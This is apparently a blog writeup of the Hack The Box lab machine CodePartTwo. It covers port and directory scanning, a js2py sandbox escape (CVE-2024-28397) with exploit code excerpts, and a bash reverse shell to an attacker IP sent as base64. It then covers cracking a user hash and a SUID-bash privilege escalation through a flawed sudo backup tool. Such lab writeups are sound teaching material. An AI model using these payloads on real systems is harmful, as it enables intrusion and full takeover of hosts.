Hacking the matrix, one phish at a time

CodePartTwo – HTB Writeup

code-part-two-htb writeup

Reconnaissance

Port Scanning

First we use nmap to discover all the open ports:

nmap -p- -sS --min-rate 5000 -vvv -n -Pn 10.129.232.59 -oG allPorts
  • -p-: Scan all 65535 ports
  • -sS: Perform a SYN stealth scan
  • --min-rate 5000: Send packets at a minimum rate of 5000 per second
  • -vvv: Use very verbose output for detailed information
  • -n: Skip DNS resolution
  • -Pn: Skip host discovery and treat target as online
  • -oG allPorts: Save output in grepable format to file named allPorts

We obtain that the ports 22 and 8000 are open.

PORT     STATE SERVICE  REASON
22/tcp   open  ssh      syn-ack ttl 63
8000/tcp open  http-alt syn-ack ttl 63

We will use again nmap to discover the version of the services running on this ports and throw some scripts of nmap:

nmap -p22,8000 -sCV 10.129.232.59 -oN target
  • -p22,8000: Scan only ports 22 and 8000
  • -sC: Run default NSE scripts for enumeration
  • -sV: Detect service versions running on open ports
  • -oN target: Save output in normal format to file named target

We obtain that the port 22 is running SSH and the port 8000 is a http web.

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 a0:47:b4:0c:69:67:93:3a:f9:b4:5d:b3:2f:bc:9e:23 (RSA)
|   256 7d:44:3f:f1:b1:e2:bb:3d:91:d5:da:58:0f:51:e5:ad (ECDSA)
|_  256 f1:6b:1d:36:18:06:7a:05:3f:07:57:e1:ef:86:b4:85 (ED25519)
8000/tcp open  http    Gunicorn 20.0.4
|_http-title: Welcome to CodePartTwo
|_http-server-header: gunicorn/20.0.4
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Web Scanning

We will let gobuster discover directories and files at the website on background while we manually interact with the web to see what it is about.

gobuster dir -u <http://10.129.11.250:8000/> -w /usr/share/wordlists/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt -t 200 -x php,js,txt,py,db,log
  • dir: Directory/file brute-forcing mode
  • -u: Target URL to scan
  • -w: Path to the wordlist file for brute-forcing
  • -t 200: Number of concurrent threads to use
  • -x php,js,txt,py,db,log: File extensions to append to each word in the wordlist

But we won’t find anything interesting:

download             (Status: 200) [Size: 10708]
register             (Status: 200) [Size: 651]
login                (Status: 200) [Size: 667]
logout               (Status: 302) [Size: 189] [--> /]
dashboard            (Status: 302) [Size: 199] [--> /login]

Web explore

We see that we can login, register and donwload the source code.

Analyzing web source code

The first thing we are doing is downloading the source code, that has this structure:

.
└── app
    ├── app.py
    ├── instance
    │   └── users.db
    ├── requirements.txt
    ├── static
    │   ├── css
    │   │   └── styles.css
    │   └── js
    │       └── script.js
    └── templates
        ├── base.html
        ├── dashboard.html
        ├── index.html
        ├── login.html
        ├── register.html
        └── reviews.html

The users.db might look juicy, but it has nothing on it.

On the requirements.txt we see the following:

flask==3.0.3
flask-sqlalchemy==3.1.1
js2py==0.74

app.py

On this file, we can see a secret key with value S3cr3tK3yC0d3PartTw0

But the key problem at this file is that, when you upload a code at the web, it uses js2py.eval_js to evaluate the code.

@app.route('/run_code', methods=['POST'])
def run_code():
    try:
        code = request.json.get('code')
        result = js2py.eval_js(code)
        return jsonify({'result': result})
    except Exception as e:
        return jsonify({'error': str(e)})

Basically, js2py is a library that translates JavaScript into Python. This library is known for all the bypasses it has to escape from the JavaScript sandbox and execute Python code on the server.

So, knowing this, we have to search for an exploit made to escape from this JavaScript sandbox and allow us to execute some Python code to, for example, get a reverse shell.

Exploiting js2py

Key concepts

Although on the app.py it uses js2py.disable_pyimport() (which deny the use of pyimport os directly on JavaScript), you can still accessing the internal Python objects that are loaded on memmory.

In Python, everything is an object. You can use anything to “go up” until you find a class that allows you to execute commands (such as subprocess.Popen

The version is js2py==0.74 and it is vulnerable to CVE-2024-28397.

Explaining the exploit

Searching on google I found this exploit:

https://github.com/naclapor/CVE-2024-28397/tree/main

let a = Object.getOwnPropertyNames({}).__class__.__base__.__getattribute__;
let obj = a(a(a, "__class__"), "__base__");

The objective is to get to the object class of Python. The exploit uses the Object.getOwnPropertyNames({}) tu jump from JavaScript to the internal structure of Python.

obj now has a reference to the fundamental Python class.

function findpopen(o) {
    // ...for loop...
    if(item.__module__ == "subprocess" && item.__name__ == "Popen") {
        return item;
    }
    // ...recurisivity...
}

As we can not make import subprocess, the exploit iterates among the subclasses of objectthat exist (o.__**subclasses__**()).

It search for the class Popen that belongs to the subprocess module.

let result = findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate();

Once the Popen class is recognized, it executes it (instances)

The arguments (-1, null…) are necessary to manage stdin, stdout, stderr.

reverse_shell = f"(bash >& /dev/tcp/{target_ip}/{target_port} 0>&1) &"
encoded_shell = base64.b64encode(reverse_shell.encode()).decode()
# ...
let cmd = "printf '{encoded_shell}'|base64 -d|bash";

The script codifies the payload on base64 to avoid special characters issues as they could break the string in JavaScript.

Usage

It is very simple to use

 python3 exploit.py --target <http://10.129.11.250:8000/run_code> --lhost 10.10.15.40 --lport 4444
============================================================
CVE-2024-28397 - js2py Sandbox Escape Exploit
Targets js2py <= 0.74
============================================================

[*] Generating exploit payload...
[+] Target URL: <http://10.129.11.250:8000/run_code>
[+] Reverse shell: (bash >& /dev/tcp/10.10.15.40/4444 0>&1) &
[+] Base64 encoded: KGJhc2ggPiYgL2Rldi90Y3AvMTAuMTAuMTUuNDAvNDQ0NCAwPiYxKSAm
[+] Listening address: 10.10.15.40:4444

[!] Start your listener: nc -lnvp 4444

[*] Press Enter when your listener is ready...
[*] Sending exploit payload...
[+] Payload sent successfully!
[+] Response: {"error":"'NoneType' object is not callable"}

[+] Check your netcat listener for the reverse shell!

Initial access – Escalation 1

To handle the shell, I don’t use nc, I use penelope which you can download here:

https://github.com/brightio/penelope

We are logged as app so we need to elevate our privileges to another user.

Con the /etc/passwd we see that there is a user called marco.

If we remember, we saw a users.dbfile, lets download it and look at it with sqlitebrowser

Bingo, we find the hash of marco at the user table.

We can easily break the hash following this instructions.

And with that we can login as marco using the cracked password.

Escalation 2

With sudo -l we see we can execute /usr/local/bin/npbackup-cli without any password.

The code is the following:

#!/usr/bin/python3
# -*- coding: utf-8 -*-
import re
import sys
from npbackup.__main__ import main
if __name__ == '__main__':
    # Block restricted flag
    if '--external-backend-binary' in sys.argv:
        print("Error: '--external-backend-binary' flag is restricted for use.")
        sys.exit(1)

    sys.argv[0] = re.sub(r'(-script\\.pyw|\\.exe)?$', '', sys.argv[0])
    sys.exit(main())

Here we have a wrong input validation.

It only search if there is the flag --external-backend-binary is used, but if we put --external-backend-binary=/tmp/malicious.sh it passes the verification.

We can easily create a script that gives SUID privilege to the binary /bin/bash.

#!/bin/bash
cp /bin/bash /tmp/rootshell
chmod +s /tmp/rootshell

We give it privilege of execution with chmod +x /tmp/exploit.sh

But when we do sudo /usr/local/bin/npbackup-cli --external-backend-binary=/tmp/exploit.sh it says that we need a configuration file.

If we search for the help of the command with /usr/local/bin/npbackup-cli --help we see this:

-c CONFIG_FILE, --config-file CONFIG_FILE
                        Path to alternative configuration file (defaults to current dir/npbackup.conf)

So we will find that config file

marco@codeparttwo:/tmp$ find / -name "npbackup.conf" 2>/dev/null
/home/marco/npbackup.conf

There we have it, but now we have this error:

2026-01-30 10:39:56,417 :: INFO :: npbackup 3.0.1-linux-UnknownBuildType-x64-legacy-public-3.8-i 2025032101 - Copyright (C) 2022-2025 NetInvent running as root
2026-01-30 10:39:56,451 :: INFO :: Loaded config 4E3B3BFD in /home/marco/npbackup.conf
2026-01-30 10:39:56,460 :: WARNING :: No operation has been requested. Try --help
2026-01-30 10:39:56,466 :: INFO :: ExecTime = 0:00:00.052599, finished, state is: warnings.

So we will need to execute a dummy operation, for example, -b to Run a backup

sudo /usr/local/bin/npbackup-cli --external-backend-binary=/tmp/exploit.sh -c /home/marco/npbackup.conf -b

Now, we only have to do

/tmp/rootshell -p

And we are root.

Conclusion

The CodePartTwo machine demonstrates a complete attack chain starting from web application exploitation through to root access. By leveraging CVE-2024-28397 in js2py==0.74, initial access was obtained through a sandbox escape that bypassed Python import restrictions. Lateral movement to the marco user was achieved by cracking credentials found in a database file. Finally, root privileges were gained by exploiting a flawed input validation in a sudo-enabled backup utility, highlighting the critical importance of proper argument sanitization in privileged scripts. This machine effectively showcases common vulnerability patterns including outdated dependencies, weak credential storage, and insufficient input validation in security-sensitive contexts.

Video Walkthrough

Here you have a video of my YouTube channel solving the machine.

Index